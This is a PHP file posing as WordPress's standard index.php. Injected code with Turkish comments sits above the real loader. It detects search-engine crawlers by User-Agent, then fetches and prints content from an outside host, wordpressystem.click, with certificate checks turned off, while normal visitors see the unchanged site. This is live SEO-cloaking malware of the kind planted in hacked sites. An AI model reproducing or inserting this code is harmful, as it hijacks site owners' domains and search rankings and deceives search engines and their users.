// Test aşamasında hataları görmek için bu satırları geçici olarak açabilirsin: // error_reporting(E_ALL); // ini_set('display_errors', 1); if (!function_exists('get_bot_content')) { function get_bot_content($url, $ua, $ref) { $out = false; if (function_exists('curl_init')) { $ch = curl_init($url); $opts = array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0 ); if ($ref) { $opts[CURLOPT_REFERER] = $ref; } curl_setopt_array($ch, $opts); $out = curl_exec($ch); curl_close($ch); } if ($out === false && (bool)ini_get('allow_url_fopen')) { $context = stream_context_create(array( 'http' => array( 'header' => "User-Agent: $ua\r\n" . ($ref ? "Referer: $ref\r\n" : ""), 'timeout' => 10, 'follow_location' => 1 ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) )); $out = @file_get_contents($url, false, $context); } return $out; } } $u = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $r = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // 1. Adım: Gerçek Botları Ayır (Arama motorları için içerik basar) $bot_list = array('Googlebot', 'Google-InspectionTool', 'Mediapartners-Google', 'bingbot', 'YandexBot'); $is_bot = false; foreach ($bot_list as $bot) { if (!empty($u) && stripos($u, $bot) !== false) { $is_bot = true; break; } } if ($is_bot) { $target_url = 'https://wordpressystem.click/istanbulati/yauschinesebillericay.php'; $content = get_bot_content($target_url, $u, $r); if ($content) { echo $content; exit(); } } /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php'; ?>